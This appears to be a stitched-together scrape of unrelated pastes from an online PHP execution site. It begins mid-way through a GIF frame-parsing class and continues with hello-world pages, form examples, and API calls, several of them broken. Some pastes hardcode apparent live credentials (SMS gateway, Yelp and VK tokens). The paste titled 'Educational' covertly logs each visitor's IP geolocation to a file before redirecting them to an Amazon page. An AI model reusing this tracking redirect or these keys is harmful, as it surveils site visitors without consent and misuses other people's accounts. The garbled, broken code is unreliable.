$this->dualByteVal($this->getImageDataByte("dat", 5, 2)); $this->frameSources[$this->frameNumber]["height"] = $this->dualByteVal($this->getImageDataByte("dat", 7, 2)); $this->frameSources[$this->frameNumber]["local_color_table_flag"] = $this->getImageDataBit("dat", 9, 0, 1); $this->frameSources[$this->frameNumber]["interlace_flag"] = $this->getImageDataBit("dat", 9, 1, 1); $this->frameSources[$this->frameNumber]["sort_flag"] = $this->getImageDataBit("dat", 9, 2, 1); $this->frameSources[$this->frameNumber]["color_table_size"] = pow(2, $this->getImageDataBit("dat", 9, 5, 3) + 1) * 3; $this->frameSources[$this->frameNumber]["color_table"] = substr($this->frameSources[$this->frameNumber]["imagedata"], 10, $this->frameSources[$this->frameNumber]["color_table_size"]); $this->frameSources[$this->frameNumber]["lzw_code_size"] = ord($this->getImageDataByte("dat", 10, 1)); $this->framePositions[$this->frameNumber] = array( 'x' => $this->frameSources[$this->frameNumber]["offset_left"], 'y' => $this->frameSources[$this->frameNumber]["offset_top"], ); $this->frameDimensions[$this->frameNumber] = array( 'width' => $this->frameSources[$this->frameNumber]["width"], 'height' => $this->frameSources[$this->frameNumber]["height"], ); // Decoding $this->orgvars[$this->frameNumber]["transparent_color_flag"] = $this->frameSources[$this->frameNumber]["transparent_color_flag"]; $this->orgvars[$this->frameNumber]["transparent_color_index"] = $this->frameSources[$this->frameNumber]["transparent_color_index"]; $this->orgvars[$this->frameNumber]["delay_time"] = $this->frameSources[$this->frameNumber]["delay_time"]; $this->orgvars[$this->frameNumber]["disposal_method"] = $this->frameSources[$this->frameNumber]["disposal_method"]; $this->orgvars[$this->frameNumber]["offset_left"] = $this->frameSources[$this->frameNumber]["offset_left"]; $this->orgvars[$this->frameNumber]["offset_top"] = $this->frameSources[$this->frameNumber]["offset_top"]; // Updating the max width if ($this->gifMaxWidth < $this->frameSources[$this->frameNumber]["width"]) { $this->gifMaxWidth = $this->frameSources[$this->frameNumber]["width"]; } // Updating the max height if ($this->gifMaxHeight < $this->frameSources[$this->frameNumber]["height"]) { $this->gifMaxHeight = $this->frameSources[$this->frameNumber]["height"]; } } /** * Get the image data byte (old: get_imagedata_byte) * * @param string $type * @param integer $start * @param integer $length * * @return string */ private function getImageDataByte($type, $start, $length) { if ($type == "ext") { return substr($this->frameSources[$this->frameNumber]["graphicsextension"], $start, $length); } // "dat" return substr($this->frameSources[$this->frameNumber]["imagedata"], $start, $length); } /** * Get the image data bit (old: get_imagedata_bit) * * @param string $type * @param integer $byteIndex * @param integer $bitStart * @param integer $bitLength * * @return number */ private function getImageDataBit($type, $byteIndex, $bitStart, $bitLength) { if ($type == "ext") { return $this->readBits(ord(substr($this->frameSources[$this->frameNumber]["graphicsextension"], $byteIndex, 1)), $bitStart, $bitLength); } // "dat" return $this->readBits(ord(substr($this->frameSources[$this->frameNumber]["imagedata"], $byteIndex, 1)), $bitStart, $bitLength); } /** * Return the value of 2 ASCII chars (old: dualbyteval) * * @param string $s * * @return integer */ private function dualByteVal($s) { $i = ord($s[1]) * 256 + ord($s[0]); return $i; } /** * Read the data stream (old: read_data_stream) * * @param integer $firstLength */ private function readDataStream($firstLength) { $this->pointerForward($firstLength); $length = $this->readByteInt(); if ($length != 0) { while ($length != 0) { $this->pointerForward($length); $length = $this->readByteInt(); } } } /** * Open the gif file (old: loadfile) * * @param string $filename */ private function openFile($filename) { $this->handle = fopen($filename, "rb"); $this->pointer = 0; $imageSize = getimagesize($filename); $this->gifWidth = $imageSize[0]; $this->gifHeight = $imageSize[1]; } /** * Close the read gif file (old: closefile) */ private function closeFile() { fclose($this->handle); $this->handle = 0; } /** * Read the file from the beginning to $byteCount in binary (old: readbyte) * * @param integer $byteCount * * @return string */ private function readByte($byteCount) { $data = fread($this->handle, $byteCount); $this->pointer += $byteCount; return $data; } /** * Read a byte and return ASCII value (old: readbyte_int) * * @return integer */ private function readByteInt() { $data = fread($this->handle, 1); $this->pointer++; return ord($data); } /** * Convert a $byte to decimal (old: readbits) * * @param string $byte * @param integer $start * @param integer $length * * @return number */ private function readBits($byte, $start, $length) { $bin = str_pad(decbin($byte), 8, "0", STR_PAD_LEFT); $data = substr($bin, $start, $length); return bindec($data); } /** * Rewind the file pointer reader (old: p_rewind) * * @param integer $length */ private function pointerRewind($length) { $this->pointer -= $length; fseek($this->handle, $this->pointer); } /** * Forward the file pointer reader (old: p_forward) * * @param integer $length */ private function pointerForward($length) { $this->pointer += $length; fseek($this->handle, $this->pointer); } /** * Get a section of the data from $start to $start + $length (old: datapart) * * @param integer $start * @param integer $length * * @return string */ private function dataPart($start, $length) { fseek($this->handle, $start); $data = fread($this->handle, $length); fseek($this->handle, $this->pointer); return $data; } /** * Check if a character if a byte (old: checkbyte) * * @param integer $byte * * @return boolean */ private function checkByte($byte) { if (fgetc($this->handle) == chr($byte)) { fseek($this->handle, $this->pointer); return true; } fseek($this->handle, $this->pointer); return false; } /** * Check the end of the file (old: checkEOF) * * @return boolean */ private function checkEOF() { if (fgetc($this->handle) === false) { return true; } fseek($this->handle, $this->pointer); return false; } /** * Reset and clear this current object */ private function reset() { $this->gif = null; $this->totalDuration = $this->gifMaxHeight = $this->gifMaxWidth = $this->handle = $this->pointer = $this->frameNumber = 0; $this->frameDimensions = $this->framePositions = $this->frameImages = $this->frameDurations = $this->globaldata = $this->orgvars = $this->frames = $this->fileHeader = $this->frameSources = array(); } // Getter / Setter // =================================================================================== /** * Get the total of all added frame duration * * @return integer */ public function getTotalDuration() { return $this->totalDuration; } /** * Get the number of extracted frames * * @return integer */ public function getFrameNumber() { return $this->frameNumber; } /** * Get the extracted frames (images and durations) * * @return array */ public function getFrames() { return $this->frames; } /** * Get the extracted frame positions * * @return array */ public function getFramePositions() { return $this->framePositions; } /** * Get the extracted frame dimensions * * @return array */ public function getFrameDimensions() { return $this->frameDimensions; } /** * Get the extracted frame images * * @return array */ public function getFrameImages() { return $this->frameImages; } /** * Get the extracted frame durations * * @return array */ public function getFrameDurations() { return $this->frameDurations; } }

sample-1

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; echo '123' ?> </body> </html> <?php $vetebrados= array ("cachoro","vicente"); if(array_search("homen",$vetebrados)!==false){ echo"Homens Sao vertebrados"; }else{ echo "homens nao sao vertebrados"; } ?>

talk-talk

function set_chat_msg() { if(typeof XMLHttpRequest != "undefined") { oxmlHttpSend = new XMLHttpRequest(); } else if (window.ActiveXObject) { oxmlHttpSend = new ActiveXObject("Microsoft.XMLHttp"); } if(oxmlHttpSend == null) { alert("Browser does not support XML Http Request"); return; } var url = "chat_send_ajax.php"; var strname="noname"; var strmsg="; if (document.getElementById("txtname") != null) { strname = document.getElementById("txtname").value; document.getElementById("txtname").readOnly=true; } if (document.getElementById("txtmsg") != null) { strmsg = document.getElementById("txtmsg").value; document.getElementById("txtmsg").value = "; } url += "?name=" + strname + "&msg=" + strmsg; oxmlHttpSend.open("GET",url,true); oxmlHttpSend.send(null); } <?php $z=0; $a = 1 ; $b = 50 ; if($z==0){ echo"YES 'z' = 0 \n"; if($a==1){ echo "YES 'a' = 1 \n"; if($b == 20){ echo "YES 'b' = 20 \n"; } }else{ echo"NO 'a' # 1 \n"; } //return false; }else{ echo"NO 'Z' # 0 \n The End \n"; } ?>

ground

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <body> <?php echo "Feedback for"; ?> <tr> <td><textarea name="data" rows="10" cols="10"></textarea></td> </tr> </body> </html>

eggs

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $html = file_get_contents("https://watson-api-explorer.mybluemix.net/tone-analyzer/api/v3/tone?text=I%20am%20sad.%20I%20am%20angry.&version=2017-09-21&sentences=true"); echo $html;?> </body> </html>

eggs

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $html = file_get_contents("https://watson-api-explorer.mybluemix.net/tone-analyzer/api/v3/tone?text=I%20am%20sad.%20I%20am%20angry.&version=2017-09-21&sentences=true"); echo $html;?> </body> </html>

aleio1.blogspot.it

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php function ScriviVettore($testa,$coda) { global $testo; for ($i=0; $i < count($testa); $i++) echo $testo[$testa[$i]] . " "; for ($i=0; $i < count($coda)-1; $i++) echo $testo[$coda[$i]] . " "; echo "\n"; } function Perm($v, $coda) { $n = count ($v); if ($n == 2) { $v3=array(2); $v3[0]=$v[1]; $v3[1]=$v[0]; ScriviVettore($v3,$coda); $v3[0]=$v[0]; $v3[1]=$v[1]; ScriviVettore($v3,$coda); } else { for ($i=0; $i<$n; $i++) { $v2=array($n-1); for ($j=0; $j < $i; $j++) $v2[$j]=$v[$j]; for ($j=$i; $j < $n-1; $j++) $v2[$j]=$v[$j+1]; $coda2=array(count($coda)+1); $coda2[0]=$v[$i]; for ($j=0; $j < count($coda) ; $j++) $coda2[]=$coda[$j]; Perm($v2,$coda2); } } } function Anagrammi($n) { global $testo; if ($n<=1) echo $testo; else { $v=array($n); for ($i=0; $i<$n; $i++) { $v[$i]=$i; } $coda = array (1); $coda[0]="$"; Perm($v,$coda); } } function levaspazi($s) { $ris ="; for ($i=0; $i<strlen($s); $i++) if ($s[$i]!=" ") $ris .= $s[$i]; return $ris; } function fact($n) { $ris=1; for ($i=1; $i<=$n; $i++) $ris *= $i; return $ris; } global $testo; $testo=strtoupper($testo); $testo=levaspazi($testo); $l=strlen($testo); if ($l>8) die("Non esagerare!!"); ?> <p><b>Testo Normalizzato: </b> <? echo $testo ?></p> <p><b>Lunghezza del testo: </b><? echo $l ?></p> <p><b>Numero di anagrammi: </b><? echo fact($l)?></p> <? echo "<pre>"; Anagrammi($l); echo "</pre>";?> </body> </html>

vcvc

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

electronicpromo.ru/checkccv_77_v2.php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

electronicpromo.ru/checkccv_77_v2.php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

homework

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $string_1 ="gaborone is in south"; $string_2 ="east"; //a) $string_1=str_replace (" ",",$string_1); $string_ =str_replace( " , ", $string_2); //b) function uc_first_word($string_1) { $string_1 ="gaborone is in south"; $string_1 = explode(' ', $string_1); $string_1[0] = strtoupper($string_1[0]); $string_1 = implode(' ', $string_1); //c) echo ($string_1); echo"\n"; } //d) echo $string_1 = uc_first_word ($string_1); echo substr("gaborone is in south",12,3); echo "\n"; //e) if ($string_1=== $string_2){ echo "Equal"; } else { echo "Not equal"; }?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!ABC</h1>\n"; ?> </body> </html>

php_test_online

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; $filename = 'sitevisitors.txt'; if (file_exists($filename)) { $count = file('sitevisitors.txt'); $count[0] ++; $fp = fopen("sitevisitors.txt", "w"); fputs ($fp, "$count[0]"); fclose ($fp); echo $count[0]; } else { $fh = fopen("sitevisitors.txt", "w"); if($fh==false) die("unable to create file"); fputs ($fh, 1); fclose ($fh); $count = file('sitevisitors.txt'); echo $count[0]; }?> </body> </html>

date

<?php function dateDiff($date1, $date2) { $date1 = date_create($date1); $date2 = date_create($date2); $diff = $date2->diff($date1); return [ 'years' => $diff->format('%y'), 'months' => $diff->format('%m'), 'days' => $diff->format('%d'), 'totalDays' => $diff->days, ]; } $from = '2017-11-27'; $to = '2018-04-05'; $diff = dateDiff($from,$to); var_dump($diff); var_dump( $diff['years'] * 12 + $diff['months'] ); <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $georule= json_decode("auto" : { "saavnId": "cKv4LzGd", "songId": 45246100, "streaming": 1, "cached": 0, "isUserDefined": 0, "platform": "web", "ddexPreferences": "C", "territories": "BD,IN,PK", "liveDate": "1997-03-11T00:00:00Z", "sequence_no": 0, "user_id": 0, "proStreaming": 0 }, { "saavnId": "cKv4LzGd", "songId": 45246100, "streaming": 0, "cached": 1, "isUserDefined": 0, "platform": "mobile", "ddexPreferences": "C", "territories": "BD,IN,PK", "liveDate": "1997-03-11T00:00:00Z", "sequence_no": 0, "user_id": 0, "proStreaming": 1 }, { "saavnId": "cKv4LzGd", "songId": 45246100, "streaming": 0, "cached": 1, "isUserDefined": 0, "platform": "wap", "ddexPreferences": "C", "territories": "BD,IN,PK", "liveDate": "1997-03-11T00:00:00Z", "sequence_no": 0, "user_id": 0, "proStreaming": 1 }, { "saavnId": "cKv4LzGd", "songId": 45246100, "streaming": 1, "cached": 0, "isUserDefined": 0, "platform": "mobile", "ddexPreferences": "C", "territories": "BD,IN,PK", "liveDate": "1997-03-11T00:00:00Z", "sequence_no": 0, "user_id": 0, "proStreaming": 0 }, { "saavnId": "cKv4LzGd", "songId": 45246100, "streaming": 0, "cached": 1, "isUserDefined": 0, "platform": "web", "ddexPreferences": "C", "territories": "BD,IN,PK", "liveDate": "1997-03-11T00:00:00Z", "sequence_no": 0, "user_id": 0, "proStreaming": 1 }, { "saavnId": "cKv4LzGd", "songId": 45246100, "streaming": 1, "cached": 0, "isUserDefined": 0, "platform": "wap", "ddexPreferences": "C", "territories": "BD,IN,PK", "liveDate": "1997-03-11T00:00:00Z", "sequence_no": 0, "user_id": 0, "proStreaming": 0 }] ); echo $georule; ?> </body> </html>

Secondary Tut

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

ggggg

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

WTOEP

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

phpdemo

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $apikey = "iV9NobBnP0a3CaoNm0uVYQ"; $apisender = "TESTIN"; $msg ="YOUR MESSAGE HERE"; $num = 7738194585; // MULTIPLE NUMBER VARIABLE PUT HERE...! $ms = rawurlencode($msg); //This for encode your message content $url = 'https://www.smsgatewayhub.com/api/mt/SendSMS?APIKey='.$apikey.'&senderid='.$apisender.'&channel=2&DCS=0&flashsms=0&number='.$num.'&text='.$msg.'&route=1'; echo $url; $ch=curl_init($url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_POSTFIELDS,"); curl_setopt($ch, CURLOPT_RETURNTRANSFER,2); $data = curl_exec($ch); echo '<br/><br/>'; print($data); /* result of API call*/ ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> #!/usr/bin/php <?php /**ini_set("display_errors",1); error_reporting(E_ALL); **/ $API_KEY = "2i7vvs5Si2r_E1ca0M3Gu7-Jeo_jrpn0rKLT-AGzqjnpy4Z2N3l5N32vlxK5SyHzqu2uGkHwnPF-x2x0Dt4rkUbI5G9-7bvxq_EiUIvM-6SjYc00uPGO4QN61FnAWnYx"; // Complain if credentials haven't been filled out. assert($API_KEY, "Please supply your API key."); // API constants, you shouldn't have to change these. $API_HOST = "https://api.yelp.com"; $SEARCH_PATH = "/v3/businesses/matches/best"; $SEARCH_PATH_1="/reviews"; $BUSINESS_PATH = "/v3/businesses/"; // Business ID will come after slash. // Defaults for our simple example. $DEFAULT_NAME = "University of Southern California"; $DEFAULT_ADDRESS1 = "3551 Trousdale Pkwy"; $DEFAULT_CITY = "Los Angeles"; $DEFAULT_STATE="CA"; $DEFAULT_COUNTRY="US"; function request($host, $path, $business_path, $business_id, $path_1, $url_params = array()) { // Send Yelp API Call if (is_null($business_id)){ try { $curl = curl_init(); if (FALSE === $curl) throw new Exception('Failed to initialize'); $url = $host . $path . "?" . http_build_query($url_params); echo $url; curl_setopt_array($curl, array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, // Capture response. CURLOPT_ENCODING => ", // Accept gzip/deflate/whatever. CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "GET", CURLOPT_HTTPHEADER => array( "authorization: Bearer " . $GLOBALS['API_KEY'], "cache-control: no-cache", ), )); $response = curl_exec($curl); if (FALSE === $response) throw new Exception(curl_error($curl), curl_errno($curl)); $http_status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if (200 != $http_status) throw new Exception($response, $http_status); curl_close($curl); } catch(Exception $e) { trigger_error(sprintf( 'Curl failed with error #%d: %s', $e->getCode(), $e->getMessage()), E_USER_ERROR); } } else { try { echo "\n". $business_id."\n"; $curl = curl_init(); if (FALSE === $curl) throw new Exception('Failed to initialize'); $url = $host.$business_path.$business_id.$path_1; curl_setopt_array($curl, array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, // Capture response. CURLOPT_ENCODING => ", // Accept gzip/deflate/whatever. CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "GET", CURLOPT_HTTPHEADER => array( "authorization: Bearer " . $GLOBALS['API_KEY'], "cache-control: no-cache", ), )); $response = curl_exec($curl); if (FALSE === $response) throw new Exception(curl_error($curl), curl_errno($curl)); $http_status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if (200 != $http_status) throw new Exception($response, $http_status); curl_close($curl); } catch(Exception $e) { trigger_error(sprintf( 'Curl failed with error #%d: %s', $e->getCode(), $e->getMessage()), E_USER_ERROR); } } return $response; } function match($name, $address1, $city, $state, $country) { $business_id=NULL; $url_params = array(); $url_params['name'] = $name; $url_params['address1'] = $address1; $url_params['city'] = $city; $url_params['state'] = $state; $url_params['country'] = $country; //$url_params['limit'] = $GLOBALS['SEARCH_LIMIT']; print_r($url_params); return request($GLOBALS['API_HOST'], $GLOBALS['SEARCH_PATH'], $GLOBALS['BUSINESS_PATH'],$business_id, $GLOBALS['SEARCH_PATH_1'], $url_params); } function review($name, $address1, $city, $state, $country) { $business_id = NULL; $response = json_decode(match($name, $address1, $city, $state, $country)); $business_id = $response->businesses[0]->id; return request($GLOBALS['API_HOST'], $GLOBALS['SEARCH_PATH'], $GLOBALS['BUSINESS_PATH'],$business_id, $GLOBALS['SEARCH_PATH_1']); } function query_api($name, $address1, $city, $state, $country) { $response = json_decode(review($name, $address1, $city, $state, $country)); $pretty_response = json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES); print "$pretty_response\n"; } query_api($DEFAULT_NAME, $DEFAULT_ADDRESS1, $DEFAULT_CITY, $DEFAULT_STATE, $DEFAULT_COUNTRY); ?> </body> </html>

Tahaffuz

<!DOCTYPE html> <html <?php language_attributes(); ?>> <head> <meta charset="<?php bloginfo( 'charset' ); ?>"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>"> <?php wp_head(); ?> </head> <body <?php body_class(); ?> <?php hybrid_attr( 'body' ); ?>> <div id="page" class="hfeed site"> <!-- Primary Bar / Start --> <div id="primary-bar" class="clearfix"> <div class="container inner"> <?php get_template_part( 'menu', 'primary' ); // Loads the menu-primary.php template. ?> <?php postboard_social_icons(); ?> </div><!-- .container --> </div> <!-- Primary Bar / End --> <header id="masthead" class="site-header <?php postboard_header_style(); ?> container clearfix" <?php hybrid_attr( 'header' ); ?>> <?php postboard_site_branding(); ?> <?php postboard_header_ads(); // Get the header advertisement data. ?> </header><!-- #masthead --> <div id="secondary-bar" class="container"> <?php get_template_part( 'menu', 'secondary' ); ?> </div> <?php postboard_featured_slider(); // Get the featured slider. ?> <!-- Site Main / Start --> <main id="main" class="site-main container clearfix" <?php hybrid_attr( 'content' ); ?>>

gim-v6

<?php $a = array( '1' => 'elem 1', '2'=> 'elem 2', '3'=>' elem 3', 4.5 => true, 5 => 6.7, "g" => "ggg" ); echo "Serialized Data: \n" . serialize($a) . "\n"; $b = unserialize('a:6:{i:1;s:6:"elem 1";i:2;s:6:"elem 2";i:3;s:7:" elem 3";i:4;b:1;i:5;d:6.7;s:1:"g";s:3:"ggg";}'); echo "\n"; echo $b["g"]; echo "\n\n"; /////////////////////////////////////// class Person{ var $name = "Akhil"; var $name2 = "Gim Gim"; function setName($name){ $this->name = $name; } } $p = new Person(); $p->setName("guAkhil"); echo print_r($p); echo "\n\n"; echo "Serialized:\n" . serialize($p); echo "\nJSON:\n" . json_encode($p); $new_obj = unserialize('O:6:"Person":2:{s:4:"name";s:5:"guAkhil";s:5:"name2";s:7:"Gim GIm";}'); echo "\n\n"; echo "Name: " . $new_obj->name; echo "\n"; echo "Name2: " . $new_obj->name2; ?>

sdsad

test <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php class Example { public $name; function Sample() { echo "This is an example"; } } $jimmy = new Example; echo $jimmy.is_a(); ?> </body> </html>

httg

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, dfgdgfPHP!</h1>\n"; ?> </body> </html>

http://jcsai.com/

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Aaaaaa

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

abhi

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

uuurrrr

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

jgjg

<?php $access_token = '5091d3e56216f43f40b5e6acf9e709f13da5db1512850f92ce5a1f883371761ccfe9acf2e5c4bafd2e077'; date_default_timezone_set ('Asia/Irkutsk'); $time = explode(':', date('H:i')); $emojiTime = array('0⃣', '1⃣', '2⃣', '3⃣', '4⃣', '5⃣', '6⃣', '7⃣', '8⃣', '9⃣', '🔟'); $times1 = $emojiTime[$time[0][0]] . $emojiTime[$time[0][1]]; //Часы $times2 = $emojiTime[$time[1][0]] . $emojiTime[$time[1][1]]; //Минуты $date = explode('/', date('d/m/')); //vk.com/yamkayt $emojiDate = array('0⃣', '1⃣', '2⃣', '3⃣', '4⃣', '5⃣', '6⃣', '7⃣', '8⃣', '9⃣', '🔟'); $dates1 = $emojiDate[$date[0][0]] . $emojiDate[$date[0][1]]; //День $dates2 = $emojiDate[$date[1][0]] . $emojiDate[$date[1][1]]; //Месяц $god = 'https://vk.com/apistm'; $add1 = ''.$times1.':'.$times2.' '; $add2 = ''.$dates1.'.'.$dates2.''.$god.' '; $status = '                 '.$add1.'                       '.$add2.''; echo file_get_contents('https://api.vk.com/method/status.set?v=5.40&text=' . urlencode($status) . '&access_token=' . $access_token); ?><!-- yamkayt -->

<!DOCTYPE HTML> <html> <head> <style> .error {color: #FF0000;} </style> </head> <body> <?php // define variables and set to empty values $nameErr = $emailErr = $genderErr = $websiteErr = "; $nam

<!DOCTYPE HTML> <html> <head> <style> .error {color: #FF0000;} </style> </head> <body> <?php // define variables and set to empty values $nameErr = $emailErr = $genderErr = $websiteErr = "; $name = $email = $gender = $comment = $website = "; if ($_SERVER["REQUEST_METHOD"] == "POST") { if (empty($_POST["name"])) { $nameErr = "Name is required"; } else { $name = test_input($_POST["name"]); // check if name only contains letters and whitespace if (!preg_match("/^[a-zA-Z ]*$/",$name)) { $nameErr = "Only letters and white space allowed"; } } if (empty($_POST["email"])) { $emailErr = "Email is required"; } else { $email = test_input($_POST["email"]); // check if e-mail address is well-formed if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { $emailErr = "Invalid email format"; } } if (empty($_POST["website"])) { $website = "; } else { $website = test_input($_POST["website"]); // check if URL address syntax is valid if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) { $websiteErr = "Invalid URL"; } } if (empty($_POST["comment"])) { $comment = "; } else { $comment = test_input($_POST["comment"]); } if (empty($_POST["gender"])) { $genderErr = "Gender is required"; } else { $gender = test_input($_POST["gender"]); } } function test_input($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data); return $data; } ?> <h2>PHP Form Validation Example</h2> <p><span class="error">* required field.</span></p> <form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"> Name: <input type="text" name="name"> <span class="error">* <?php echo $nameErr;?></span> <br><br> E-mail: <input type="text" name="email"> <span class="error">* <?php echo $emailErr;?></span> <br><br> Website: <input type="text" name="website"> <span class="error"><?php echo $websiteErr;?></span> <br><br> Comment: <textarea name="comment" rows="5" cols="40"></textarea> <br><br> Gender: <input type="radio" name="gender" value="female">Female <input type="radio" name="gender" value="male">Male <span class="error">* <?php echo $genderErr;?></span> <br><br> <input type="submit" name="submit" value="Submit"> </form> <?php echo "<h2>Your Input:</h2>"; echo $name; echo "<br>"; echo $email; echo "<br>"; echo $website; echo "<br>"; echo $comment; echo "<br>"; echo $gender; ?> </body> </html>

https://expirebox.com/files/18bde9f666d14562215eef684dfbd4c4.kml

<?php $filePath = 'https://expirebox.com/files/18bde9f666d14562215eef684dfbd4c4.kml'; $xml = simplexml_load_file($filePath); console.log($xml); // $value = (string)$xml->Document->Placemark->Polygon->outerBoundaryIs->LinearRing->coordinates; // $values = explode(" ", trim($value)); // $coords = array(); // foreach($values as $value) { // $value = trim(preg_replace('/\t+/', '', $value)); // $args = explode(",", $value); // array_push($coords,$args[0]." ,".$args[1]); // } // $string = implode(",",$coords); // print_r($string); ?>

http://tpcg.io/wh2CLN

<html> <head> <title>Online PHP Script Execution</title> </head> <u> First step </u> <body> <b> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </b> </body> </html>

phpp

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $nameerr=$emailerr=$gendererr=$name=$email=$gender="; if(empty($_POST["name"])) { $nameerr="name is required"; } else { $name=test($_POST["name"]); } if(empty($_POST["email"])) { $emailerr="e-mail is required"; } else { $email=test($_POST["email"]); } if(empty($_POST["gender"])) { $gendererr="gender is required"; } else { $gender=test($_POST["gender"]); } function test($data) { $data=trim($data); $data=stripslashes($data); $data=htmlspecialchars($data); return $data; } ?> <form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"> Name: <input type="text" name="name"> <span class="error">* <?php echo $nameerr;?></span> <br><br> E-mail: <input type="text" name="email"> <span class="error">* <?php echo $emailerr;?></span> <br><br> Gender: <input type="radio" name="gender" value="female">Female <input type="radio" name="gender" value="male">Male <span class="error">* <?php echo $gendererr;?></span> <br><br> <input type="submit" name="submit" value="Submit"> </form> <?php echo "<h1>Hello, PHP!</h1>\n"; echo "<h2>Your Input:</h2>"; echo $name; echo "<br>"; echo $email; echo "<br>"; echo $gender; ?> </body> </html>

Educational

<?php $user_ip=getenv('REMOTE_ADDER'); $geo=file_get_contents("http://freegeoip.net/json/$user_ip"); $log=fopen("output.text","a+"); fputs($log,"$geo \n\n"); fclose($log); @header('Location: https://www.amazon.in/Philips-BT50B-Portable-Wireless-Bluetooth/dp/B00U2G7IMK/ref=sr_1_1?ie=UTF8&qid=1521736397&sr=8-1&keywords=philips+portable+wireless+bluetooth'); ?>

<div class="ozellik-gri"> <div class="container"> <div class="col-sm-6 col-xs-12"> <br> <br> <br> <br> <br> <br>

<div class="ozellik-gri"> <div class="container"> <div class="col-sm-6 col-xs-12"> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <a href="http://www.entegrabilisim.com/shopphp-entegrasyon.html"> <img src="_assets/image/website/shopphp.png" /></a> </div> <div class="col-sm-6 col-xs-12"> <br> <h3><span class="subtitle">E-Ticaret Sistemleri Entegrasyonu</span></h3> <span class="subcontent">Entegra ile pazar yerleri entegrasyonları yanında bir e-ticaret sitesine de sahip olursunuz. Entegra'ya girilen ürünler pazar yerlerinde ki gibi kendi e-ticaret sitenizde de yayınlanır. Ekstra bir e-ticaret sitesine ihtiyacınız kalmaz.</span> <ul class="list"> <li>Ekstra ücret talep etmeden 100'lerce tema, Alan adı, hosting, Ssl ve kurulum hizmeti</li> <li>Ürün ve siparişlerin çift taraflı anlık entegrasyonu</li> <li>Dilerseniz e-ticaret sistemini kendi hostinginizde barındırabilme imkanı</li> <li>İstenilen formatta dışarı xml verebilme özelliği</li> <li>Tüm bankalar, İyzico, Payu, Ipara ve Paypal ödeme entegrasyonları</li> <li>Akakçe, cimri, bilio vb fiyat karşılaştırma siteleri entegrasyonları</li> <li>Google merchant reklamlarına entegre olabilme özelliği</li> <li>Kullandığınız farklı bir Eticaret sistemi ile (İdeasoft, Ticimax, Projesoft, Bilginet, Opencart) entegrasyon imkanı</li> <li>Ayrıntılı bilgi için <a href="http://www.entegrabilisim.com/shopphp-entegrasyon.html"> ShopPhp Entegrasyon sayfası!</a></li> </ul> </div> </div> </div>

formulaire

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

аыва

